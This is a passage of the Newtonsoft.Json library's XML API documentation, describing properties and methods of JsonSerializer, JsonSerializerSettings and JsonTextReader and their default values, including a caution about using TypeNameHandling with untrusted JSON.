cref=\"F:Newtonsoft.Json.MissingMemberHandling.Ignore\" />.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonSerializer.NullValueHandling\">\n            <summary>\n            Gets or sets how null values are handled during serialization and deserialization.\n            The default value is <see cref=\"F:Newtonsoft.Json.NullValueHandling.Include\" />.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonSerializer.DefaultValueHandling\">\n            <summary>\n            Gets or sets how default values are handled during serialization and deserialization.\n            The default value is <see cref=\"F:Newtonsoft.Json.DefaultValueHandling.Include\" />.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonSerializer.ObjectCreationHandling\">\n            <summary>\n            Gets or sets how objects are created during deserialization.\n            The default value is <see cref=\"F:Newtonsoft.Json.ObjectCreationHandling.Auto\" />.\n            </summary>\n            <value>The object creation handling.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonSerializer.ConstructorHandling\">\n            <summary>\n            Gets or sets how constructors are used during deserialization.\n            The default value is <see cref=\"F:Newtonsoft.Json.ConstructorHandling.Default\" />.\n            </summary>\n            <value>The constructor handling.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonSerializer.MetadataPropertyHandling\">\n            <summary>\n            Gets or sets how metadata properties are used during deserialization.\n            The default value is <see cref=\"F:Newtonsoft.Json.MetadataPropertyHandling.Default\" />.\n            </summary>\n            <value>The metadata properties handling.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonSerializer.Converters\">\n            <summary>\n            Gets a collection <see cref=\"T:Newtonsoft.Json.JsonConverter\"/> that will be used during serialization.\n            </summary>\n            <value>Collection <see cref=\"T:Newtonsoft.Json.JsonConverter\"/> that will be used during serialization.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonSerializer.ContractResolver\">\n            <summary>\n            Gets or sets the contract resolver used by the serializer when\n            serializing .NET objects to JSON and vice versa.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonSerializer.Context\">\n            <summary>\n            Gets or sets the <see cref=\"T:System.Runtime.Serialization.StreamingContext\"/> used by the serializer when invoking serialization callback methods.\n            </summary>\n            <value>The context.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonSerializer.Formatting\">\n            <summary>\n            Indicates how JSON text output is formatted.\n            The default value is <see cref=\"F:Newtonsoft.Json.Formatting.None\" />.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonSerializer.DateFormatHandling\">\n            <summary>\n            Gets or sets how dates are written to JSON text.\n            The default value is <see cref=\"F:Newtonsoft.Json.DateFormatHandling.IsoDateFormat\" />.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonSerializer.DateTimeZoneHandling\">\n            <summary>\n            Gets or sets how <see cref=\"T:System.DateTime\"/> time zones are handled during serialization and deserialization.\n            The default value is <see cref=\"F:Newtonsoft.Json.DateTimeZoneHandling.RoundtripKind\" />.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonSerializer.DateParseHandling\">\n            <summary>\n            Gets or sets how date formatted strings, e.g. <c>\"\\/Date(1198908717056)\\/\"</c> and <c>\"2012-03-21T05:40Z\"</c>, are parsed when reading JSON.\n            The default value is <see cref=\"F:Newtonsoft.Json.DateParseHandling.DateTime\" />.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonSerializer.FloatParseHandling\">\n            <summary>\n            Gets or sets how floating point numbers, e.g. 1.0 and 9.9, are parsed when reading JSON text.\n            The default value is <see cref=\"F:Newtonsoft.Json.FloatParseHandling.Double\" />.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonSerializer.FloatFormatHandling\">\n            <summary>\n            Gets or sets how special floating point numbers, e.g. <see cref=\"F:System.Double.NaN\"/>,\n            <see cref=\"F:System.Double.PositiveInfinity\"/> and <see cref=\"F:System.Double.NegativeInfinity\"/>,\n            are written as JSON text.\n            The default value is <see cref=\"F:Newtonsoft.Json.FloatFormatHandling.String\" />.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonSerializer.StringEscapeHandling\">\n            <summary>\n            Gets or sets how strings are escaped when writing JSON text.\n            The default value is <see cref=\"F:Newtonsoft.Json.StringEscapeHandling.Default\" />.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonSerializer.DateFormatString\">\n            <summary>\n            Gets or sets how <see cref=\"T:System.DateTime\"/> and <see cref=\"T:System.DateTimeOffset\"/> values are formatted when writing JSON text,\n            and the expected date format when reading JSON text.\n            The default value is <c>\"yyyy'-'MM'-'dd'T'HH':'mm':'ss.FFFFFFFK\"</c>.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonSerializer.Culture\">\n            <summary>\n            Gets or sets the culture used when reading JSON.\n            The default value is <see cref=\"P:System.Globalization.CultureInfo.InvariantCulture\"/>.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonSerializer.MaxDepth\">\n            <summary>\n            Gets or sets the maximum depth allowed when reading JSON. Reading past this depth will throw a <see cref=\"T:Newtonsoft.Json.JsonReaderException\"/>.\n            A null value means there is no maximum.\n            The default value is <c>128</c>.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonSerializer.CheckAdditionalContent\">\n            <summary>\n            Gets a value indicating whether there will be a check for additional JSON content after deserializing an object.\n            The default value is <c>false</c>.\n            </summary>\n            <value>\n            \t<c>true</c> if there will be a check for additional JSON content after deserializing an object; otherwise, <c>false</c>.\n            </value>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonSerializer.#ctor\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.JsonSerializer\"/> class.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonSerializer.Create\">\n            <summary>\n            Creates a new <see cref=\"T:Newtonsoft.Json.JsonSerializer\"/> instance.\n            The <see cref=\"T:Newtonsoft.Json.JsonSerializer\"/> will not use default settings \n            from <see cref=\"P:Newtonsoft.Json.JsonConvert.DefaultSettings\"/>.\n            </summary>\n            <returns>\n            A new <see cref=\"T:Newtonsoft.Json.JsonSerializer\"/> instance.\n            The <see cref=\"T:Newtonsoft.Json.JsonSerializer\"/> will not use default settings \n            from <see cref=\"P:Newtonsoft.Json.JsonConvert.DefaultSettings\"/>.\n            </returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonSerializer.Create(Newtonsoft.Json.JsonSerializerSettings)\">\n            <summary>\n            Creates a new <see cref=\"T:Newtonsoft.Json.JsonSerializer\"/> instance using the specified <see cref=\"T:Newtonsoft.Json.JsonSerializerSettings\"/>.\n            The <see cref=\"T:Newtonsoft.Json.JsonSerializer\"/> will not use default settings \n            from <see cref=\"P:Newtonsoft.Json.JsonConvert.DefaultSettings\"/>.\n            </summary>\n            <param name=\"settings\">The settings to be applied to the <see cref=\"T:Newtonsoft.Json.JsonSerializer\"/>.</param>\n            <returns>\n            A new <see cref=\"T:Newtonsoft.Json.JsonSerializer\"/> instance using the specified <see cref=\"T:Newtonsoft.Json.JsonSerializerSettings\"/>.\n            The <see cref=\"T:Newtonsoft.Json.JsonSerializer\"/> will not use default settings \n            from <see cref=\"P:Newtonsoft.Json.JsonConvert.DefaultSettings\"/>.\n            </returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonSerializer.CreateDefault\">\n            <summary>\n            Creates a new <see cref=\"T:Newtonsoft.Json.JsonSerializer\"/> instance.\n            The <see cref=\"T:Newtonsoft.Json.JsonSerializer\"/> will use default settings \n            from <see cref=\"P:Newtonsoft.Json.JsonConvert.DefaultSettings\"/>.\n            </summary>\n            <returns>\n            A new <see cref=\"T:Newtonsoft.Json.JsonSerializer\"/> instance.\n            The <see cref=\"T:Newtonsoft.Json.JsonSerializer\"/> will use default settings \n            from <see cref=\"P:Newtonsoft.Json.JsonConvert.DefaultSettings\"/>.\n            </returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonSerializer.CreateDefault(Newtonsoft.Json.JsonSerializerSettings)\">\n            <summary>\n            Creates a new <see cref=\"T:Newtonsoft.Json.JsonSerializer\"/> instance using the specified <see cref=\"T:Newtonsoft.Json.JsonSerializerSettings\"/>.\n            The <see cref=\"T:Newtonsoft.Json.JsonSerializer\"/> will use default settings \n            from <see cref=\"P:Newtonsoft.Json.JsonConvert.DefaultSettings\"/> as well as the specified <see cref=\"T:Newtonsoft.Json.JsonSerializerSettings\"/>.\n            </summary>\n            <param name=\"settings\">The settings to be applied to the <see cref=\"T:Newtonsoft.Json.JsonSerializer\"/>.</param>\n            <returns>\n            A new <see cref=\"T:Newtonsoft.Json.JsonSerializer\"/> instance using the specified <see cref=\"T:Newtonsoft.Json.JsonSerializerSettings\"/>.\n            The <see cref=\"T:Newtonsoft.Json.JsonSerializer\"/> will use default settings \n            from <see cref=\"P:Newtonsoft.Json.JsonConvert.DefaultSettings\"/> as well as the specified <see cref=\"T:Newtonsoft.Json.JsonSerializerSettings\"/>.\n            </returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonSerializer.Populate(System.IO.TextReader,System.Object)\">\n            <summary>\n            Populates the JSON values onto the target object.\n            </summary>\n            <param name=\"reader\">The <see cref=\"T:System.IO.TextReader\"/> that contains the JSON structure to read values from.</param>\n            <param name=\"target\">The target object to populate values onto.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonSerializer.Populate(Newtonsoft.Json.JsonReader,System.Object)\">\n            <summary>\n            Populates the JSON values onto the target object.\n            </summary>\n            <param name=\"reader\">The <see cref=\"T:Newtonsoft.Json.JsonReader\"/> that contains the JSON structure to read values from.</param>\n            <param name=\"target\">The target object to populate values onto.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonSerializer.Deserialize(Newtonsoft.Json.JsonReader)\">\n            <summary>\n            Deserializes the JSON structure contained by the specified <see cref=\"T:Newtonsoft.Json.JsonReader\"/>.\n            </summary>\n            <param name=\"reader\">The <see cref=\"T:Newtonsoft.Json.JsonReader\"/> that contains the JSON structure to deserialize.</param>\n            <returns>The <see cref=\"T:System.Object\"/> being deserialized.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonSerializer.Deserialize(System.IO.TextReader,System.Type)\">\n            <summary>\n            Deserializes the JSON structure contained by the specified <see cref=\"T:System.IO.TextReader\"/>\n            into an instance of the specified type.\n            </summary>\n            <param name=\"reader\">The <see cref=\"T:System.IO.TextReader\"/> containing the object.</param>\n            <param name=\"objectType\">The <see cref=\"T:System.Type\"/> of object being deserialized.</param>\n            <returns>The instance of <paramref name=\"objectType\"/> being deserialized.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonSerializer.Deserialize``1(Newtonsoft.Json.JsonReader)\">\n            <summary>\n            Deserializes the JSON structure contained by the specified <see cref=\"T:Newtonsoft.Json.JsonReader\"/>\n            into an instance of the specified type.\n            </summary>\n            <param name=\"reader\">The <see cref=\"T:Newtonsoft.Json.JsonReader\"/> containing the object.</param>\n            <typeparam name=\"T\">The type of the object to deserialize.</typeparam>\n            <returns>The instance of <typeparamref name=\"T\"/> being deserialized.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonSerializer.Deserialize(Newtonsoft.Json.JsonReader,System.Type)\">\n            <summary>\n            Deserializes the JSON structure contained by the specified <see cref=\"T:Newtonsoft.Json.JsonReader\"/>\n            into an instance of the specified type.\n            </summary>\n            <param name=\"reader\">The <see cref=\"T:Newtonsoft.Json.JsonReader\"/> containing the object.</param>\n            <param name=\"objectType\">The <see cref=\"T:System.Type\"/> of object being deserialized.</param>\n            <returns>The instance of <paramref name=\"objectType\"/> being deserialized.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonSerializer.Serialize(System.IO.TextWriter,System.Object)\">\n            <summary>\n            Serializes the specified <see cref=\"T:System.Object\"/> and writes the JSON structure\n            using the specified <see cref=\"T:System.IO.TextWriter\"/>.\n            </summary>\n            <param name=\"textWriter\">The <see cref=\"T:System.IO.TextWriter\"/> used to write the JSON structure.</param>\n            <param name=\"value\">The <see cref=\"T:System.Object\"/> to serialize.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonSerializer.Serialize(Newtonsoft.Json.JsonWriter,System.Object,System.Type)\">\n            <summary>\n            Serializes the specified <see cref=\"T:System.Object\"/> and writes the JSON structure\n            using the specified <see cref=\"T:Newtonsoft.Json.JsonWriter\"/>.\n            </summary>\n            <param name=\"jsonWriter\">The <see cref=\"T:Newtonsoft.Json.JsonWriter\"/> used to write the JSON structure.</param>\n            <param name=\"value\">The <see cref=\"T:System.Object\"/> to serialize.</param>\n            <param name=\"objectType\">\n            The type of the value being serialized.\n            This parameter is used when <see cref=\"P:Newtonsoft.Json.JsonSerializer.TypeNameHandling\"/> is <see cref=\"F:Newtonsoft.Json.TypeNameHandling.Auto\"/> to write out the type name if the type of the value does not match.\n            Specifying the type is optional.\n            </param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonSerializer.Serialize(System.IO.TextWriter,System.Object,System.Type)\">\n            <summary>\n            Serializes the specified <see cref=\"T:System.Object\"/> and writes the JSON structure\n            using the specified <see cref=\"T:System.IO.TextWriter\"/>.\n            </summary>\n            <param name=\"textWriter\">The <see cref=\"T:System.IO.TextWriter\"/> used to write the JSON structure.</param>\n            <param name=\"value\">The <see cref=\"T:System.Object\"/> to serialize.</param>\n            <param name=\"objectType\">\n            The type of the value being serialized.\n            This parameter is used when <see cref=\"P:Newtonsoft.Json.JsonSerializer.TypeNameHandling\"/> is Auto to write out the type name if the type of the value does not match.\n            Specifying the type is optional.\n            </param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonSerializer.Serialize(Newtonsoft.Json.JsonWriter,System.Object)\">\n            <summary>\n            Serializes the specified <see cref=\"T:System.Object\"/> and writes the JSON structure\n            using the specified <see cref=\"T:Newtonsoft.Json.JsonWriter\"/>.\n            </summary>\n            <param name=\"jsonWriter\">The <see cref=\"T:Newtonsoft.Json.JsonWriter\"/> used to write the JSON structure.</param>\n            <param name=\"value\">The <see cref=\"T:System.Object\"/> to serialize.</param>\n        </member>\n        <member name=\"T:Newtonsoft.Json.JsonSerializerSettings\">\n            <summary>\n            Specifies the settings on a <see cref=\"T:Newtonsoft.Json.JsonSerializer\"/> object.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonSerializerSettings.ReferenceLoopHandling\">\n            <summary>\n            Gets or sets how reference loops (e.g. a class referencing itself) are handled.\n            The default value is <see cref=\"F:Newtonsoft.Json.ReferenceLoopHandling.Error\" />.\n            </summary>\n            <value>Reference loop handling.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonSerializerSettings.MissingMemberHandling\">\n            <summary>\n            Gets or sets how missing members (e.g. JSON contains a property that isn't a member on the object) are handled during deserialization.\n            The default value is <see cref=\"F:Newtonsoft.Json.MissingMemberHandling.Ignore\" />.\n            </summary>\n            <value>Missing member handling.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonSerializerSettings.ObjectCreationHandling\">\n            <summary>\n            Gets or sets how objects are created during deserialization.\n            The default value is <see cref=\"F:Newtonsoft.Json.ObjectCreationHandling.Auto\" />.\n            </summary>\n            <value>The object creation handling.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonSerializerSettings.NullValueHandling\">\n            <summary>\n            Gets or sets how null values are handled during serialization and deserialization.\n            The default value is <see cref=\"F:Newtonsoft.Json.NullValueHandling.Include\" />.\n            </summary>\n            <value>Null value handling.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonSerializerSettings.DefaultValueHandling\">\n            <summary>\n            Gets or sets how default values are handled during serialization and deserialization.\n            The default value is <see cref=\"F:Newtonsoft.Json.DefaultValueHandling.Include\" />.\n            </summary>\n            <value>The default value handling.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonSerializerSettings.Converters\">\n            <summary>\n            Gets or sets a <see cref=\"T:Newtonsoft.Json.JsonConverter\"/> collection that will be used during serialization.\n            </summary>\n            <value>The converters.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonSerializerSettings.PreserveReferencesHandling\">\n            <summary>\n            Gets or sets how object references are preserved by the serializer.\n            The default value is <see cref=\"F:Newtonsoft.Json.PreserveReferencesHandling.None\" />.\n            </summary>\n            <value>The preserve references handling.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonSerializerSettings.TypeNameHandling\">\n            <summary>\n            Gets or sets how type name writing and reading is handled by the serializer.\n            The default value is <see cref=\"F:Newtonsoft.Json.TypeNameHandling.None\" />.\n            </summary>\n            <remarks>\n            <see cref=\"P:Newtonsoft.Json.JsonSerializerSettings.TypeNameHandling\"/> should be used with caution when your application deserializes JSON from an external source.\n            Incoming types should be validated with a custom <see cref=\"P:Newtonsoft.Json.JsonSerializerSettings.SerializationBinder\"/>\n            when deserializing with a value other than <see cref=\"F:Newtonsoft.Json.TypeNameHandling.None\"/>.\n            </remarks>\n            <value>The type name handling.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonSerializerSettings.MetadataPropertyHandling\">\n            <summary>\n            Gets or sets how metadata properties are used during deserialization.\n            The default value is <see cref=\"F:Newtonsoft.Json.MetadataPropertyHandling.Default\" />.\n            </summary>\n            <value>The metadata properties handling.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonSerializerSettings.TypeNameAssemblyFormat\">\n            <summary>\n            Gets or sets how a type name assembly is written and resolved by the serializer.\n            The default value is <see cref=\"F:System.Runtime.Serialization.Formatters.FormatterAssemblyStyle.Simple\" />.\n            </summary>\n            <value>The type name assembly format.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonSerializerSettings.TypeNameAssemblyFormatHandling\">\n            <summary>\n            Gets or sets how a type name assembly is written and resolved by the serializer.\n            The default value is <see cref=\"F:Newtonsoft.Json.TypeNameAssemblyFormatHandling.Simple\" />.\n            </summary>\n            <value>The type name assembly format.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonSerializerSettings.ConstructorHandling\">\n            <summary>\n            Gets or sets how constructors are used during deserialization.\n            The default value is <see cref=\"F:Newtonsoft.Json.ConstructorHandling.Default\" />.\n            </summary>\n            <value>The constructor handling.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonSerializerSettings.ContractResolver\">\n            <summary>\n            Gets or sets the contract resolver used by the serializer when\n            serializing .NET objects to JSON and vice versa.\n            </summary>\n            <value>The contract resolver.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonSerializerSettings.EqualityComparer\">\n            <summary>\n            Gets or sets the equality comparer used by the serializer when comparing references.\n            </summary>\n            <value>The equality comparer.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonSerializerSettings.ReferenceResolver\">\n            <summary>\n            Gets or sets the <see cref=\"T:Newtonsoft.Json.Serialization.IReferenceResolver\"/> used by the serializer when resolving references.\n            </summary>\n            <value>The reference resolver.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonSerializerSettings.ReferenceResolverProvider\">\n            <summary>\n            Gets or sets a function that creates the <see cref=\"T:Newtonsoft.Json.Serialization.IReferenceResolver\"/> used by the serializer when resolving references.\n            </summary>\n            <value>A function that creates the <see cref=\"T:Newtonsoft.Json.Serialization.IReferenceResolver\"/> used by the serializer when resolving references.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonSerializerSettings.TraceWriter\">\n            <summary>\n            Gets or sets the <see cref=\"T:Newtonsoft.Json.Serialization.ITraceWriter\"/> used by the serializer when writing trace messages.\n            </summary>\n            <value>The trace writer.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonSerializerSettings.Binder\">\n            <summary>\n            Gets or sets the <see cref=\"P:Newtonsoft.Json.JsonSerializerSettings.SerializationBinder\"/> used by the serializer when resolving type names.\n            </summary>\n            <value>The binder.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonSerializerSettings.SerializationBinder\">\n            <summary>\n            Gets or sets the <see cref=\"T:Newtonsoft.Json.Serialization.ISerializationBinder\"/> used by the serializer when resolving type names.\n            </summary>\n            <value>The binder.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonSerializerSettings.Error\">\n            <summary>\n            Gets or sets the error handler called during serialization and deserialization.\n            </summary>\n            <value>The error handler called during serialization and deserialization.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonSerializerSettings.Context\">\n            <summary>\n            Gets or sets the <see cref=\"T:System.Runtime.Serialization.StreamingContext\"/> used by the serializer when invoking serialization callback methods.\n            </summary>\n            <value>The context.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonSerializerSettings.DateFormatString\">\n            <summary>\n            Gets or sets how <see cref=\"T:System.DateTime\"/> and <see cref=\"T:System.DateTimeOffset\"/> values are formatted when writing JSON text,\n            and the expected date format when reading JSON text.\n            The default value is <c>\"yyyy'-'MM'-'dd'T'HH':'mm':'ss.FFFFFFFK\"</c>.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonSerializerSettings.MaxDepth\">\n            <summary>\n            Gets or sets the maximum depth allowed when reading JSON. Reading past this depth will throw a <see cref=\"T:Newtonsoft.Json.JsonReaderException\"/>.\n            A null value means there is no maximum.\n            The default value is <c>128</c>.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonSerializerSettings.Formatting\">\n            <summary>\n            Indicates how JSON text output is formatted.\n            The default value is <see cref=\"F:Newtonsoft.Json.Formatting.None\" />.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonSerializerSettings.DateFormatHandling\">\n            <summary>\n            Gets or sets how dates are written to JSON text.\n            The default value is <see cref=\"F:Newtonsoft.Json.DateFormatHandling.IsoDateFormat\" />.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonSerializerSettings.DateTimeZoneHandling\">\n            <summary>\n            Gets or sets how <see cref=\"T:System.DateTime\"/> time zones are handled during serialization and deserialization.\n            The default value is <see cref=\"F:Newtonsoft.Json.DateTimeZoneHandling.RoundtripKind\" />.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonSerializerSettings.DateParseHandling\">\n            <summary>\n            Gets or sets how date formatted strings, e.g. <c>\"\\/Date(1198908717056)\\/\"</c> and <c>\"2012-03-21T05:40Z\"</c>, are parsed when reading JSON.\n            The default value is <see cref=\"F:Newtonsoft.Json.DateParseHandling.DateTime\" />.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonSerializerSettings.FloatFormatHandling\">\n            <summary>\n            Gets or sets how special floating point numbers, e.g. <see cref=\"F:System.Double.NaN\"/>,\n            <see cref=\"F:System.Double.PositiveInfinity\"/> and <see cref=\"F:System.Double.NegativeInfinity\"/>,\n            are written as JSON.\n            The default value is <see cref=\"F:Newtonsoft.Json.FloatFormatHandling.String\" />.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonSerializerSettings.FloatParseHandling\">\n            <summary>\n            Gets or sets how floating point numbers, e.g. 1.0 and 9.9, are parsed when reading JSON text.\n            The default value is <see cref=\"F:Newtonsoft.Json.FloatParseHandling.Double\" />.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonSerializerSettings.StringEscapeHandling\">\n            <summary>\n            Gets or sets how strings are escaped when writing JSON text.\n            The default value is <see cref=\"F:Newtonsoft.Json.StringEscapeHandling.Default\" />.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonSerializerSettings.Culture\">\n            <summary>\n            Gets or sets the culture used when reading JSON.\n            The default value is <see cref=\"P:System.Globalization.CultureInfo.InvariantCulture\"/>.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonSerializerSettings.CheckAdditionalContent\">\n            <summary>\n            Gets a value indicating whether there will be a check for additional content after deserializing an object.\n            The default value is <c>false</c>.\n            </summary>\n            <value>\n            \t<c>true</c> if there will be a check for additional content after deserializing an object; otherwise, <c>false</c>.\n            </value>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonSerializerSettings.#ctor\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.JsonSerializerSettings\"/> class.\n            </summary>\n        </member>\n        <member name=\"T:Newtonsoft.Json.JsonTextReader\">\n            <summary>\n            Represents a reader that provides fast, non-cached, forward-only access to JSON text data.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonTextReader.#ctor(System.IO.TextReader)\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.JsonTextReader\"/> class with the specified <see cref=\"T:System.IO.TextReader\"/>.\n            </summary>\n            <param name=\"reader\">The <see cref=\"T:System.IO.TextReader\"/> containing the JSON data to read.</param>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonTextReader.PropertyNameTable\">\n            <summary>\n            Gets or sets the reader's property name table.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonTextReader.ArrayPool\">\n            <summary>\n            Gets or sets the reader's character buffer pool.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonTextReader.Read\">\n            <summary>\n            Reads the next JSON token from the underlying <see cref=\"T:System.IO.TextReader\"/>.\n            </summary>\n            <returns>\n            <c>true</c> if the next token was read successfully; <c>false</c> if there are no more tokens to read.\n            </returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonTextReader.ReadAsInt32\">\n            <summary>\n            Reads the next JSON token from the underlying <see cref=\"T:System.IO.TextReader\"/> as a <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.Int32\"/>.\n            </summary>\n            <returns>A <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.Int32\"/>. This method will return <c>null</c> at the end of an array.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonTextReader.ReadAsDateTime\">\n            <summary>\n            Reads the next JSON token from the underlying <see cref=\"T:System.IO.TextReader\"/> as a <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.DateTime\"/>.\n            </summary>\n            <returns>A <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.DateTime\"/>. This method will return <c>null</c> at the end of an array.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonTextReader.ReadAsString\">\n            <summary>\n            Reads the next JSON token from the underlying <see cref=\"T:System.IO.TextReader\"/> as a <see cref=\"T:System.String\"/>.\n            </summary>\n            <returns>A <see cref=\"T:System.String\"/>. This method will return <c>null</c> at the end of an array.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonTextReader.ReadAsBytes\">\n            <summary>\n            Reads the next JSON token from the underlying <see cref=\"T:System.IO.TextReader\"/> as a <see cref=\"T:System.Byte\"/>[].\n            </summary>\n            <returns>A <see cref=\"T:System.Byte\"/>[] or <c>null</c> if the next JSON token is null. This method will return <c>null</c> at the end of an array.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonTextReader.ReadAsBoolean\">\n            <summary>\n            Reads the next JSON token from the underlying <see cref=\"T:System.IO.TextReader\"/> as a <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.Boolean\"/>.\n            </summary>\n            <returns>A <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.Boolean\"/>. This method will return <c>null</c> at the end of an array.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonTextReader.ReadAsDecimal\">\n            <summary>\n            Reads the next JSON token from the underlying <see cref=\"T:System.IO.TextReader\"/> as a <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.Decimal\"/>.\n            </summary>\n            <returns>A <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.Decimal\"/>. This method will return <c>null</c> at the end of an array.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonTextReader.ReadAsDouble\">\n            <summary>\n            Reads the next JSON token from the underlying <see cref=\"T:System.IO.TextReader\"/> as a <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.Double\"/>.\n            </summary>\n            <returns>A <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.Double\"/>. This method will return <c>null</c> at the end of an array.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonTextReader.Close\">\n            <summary>\n            Changes the reader's state to <see cref=\"F:Newtonsoft.Json.JsonReader.State.Closed\"/>.\n            If <see cref=\"P:Newtonsoft.Json.JsonReader.CloseInput\"/> is set to <c>true</c>, the underlying <see cref=\"T:System.IO.TextReader\"/> is also closed.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonTextReader.HasLineInfo\">\n            <summary>\n            Gets a value indicating whether the class can return line information.\n            </summary>\n            <returns>\n            \t<c>true</c> if <see cref=\"P:Newtonsoft.Json.JsonTextReader.LineNumber\"/> and <see cref=\"P:Newtonsoft.Json.JsonTextReader.LinePosition\"/> can be provided; otherwise, <c>false</c>.\n            </returns>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonTextReader.LineNumber\">\n            <summary>\n            Gets the current line number.\n            </summary>\n            <value>\n            The current line number or 0 if no line information is available (for example, <see cref=\"M:Newtonsoft.Json.JsonTextReader.HasLineInfo\"/> returns <c>false</c>).\n            </value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonTextReader.LinePosition\">\n            <summary>\n            Gets the current line position.\n            </summary>\n            <value>\n            The current line position or 0 if no line information is available (for example, <see cref=\"M:Newtonsoft.Json.JsonTextReader.HasLineInfo\"/> returns <c>false</c>).\n            </value>\n        </member>\n        <member 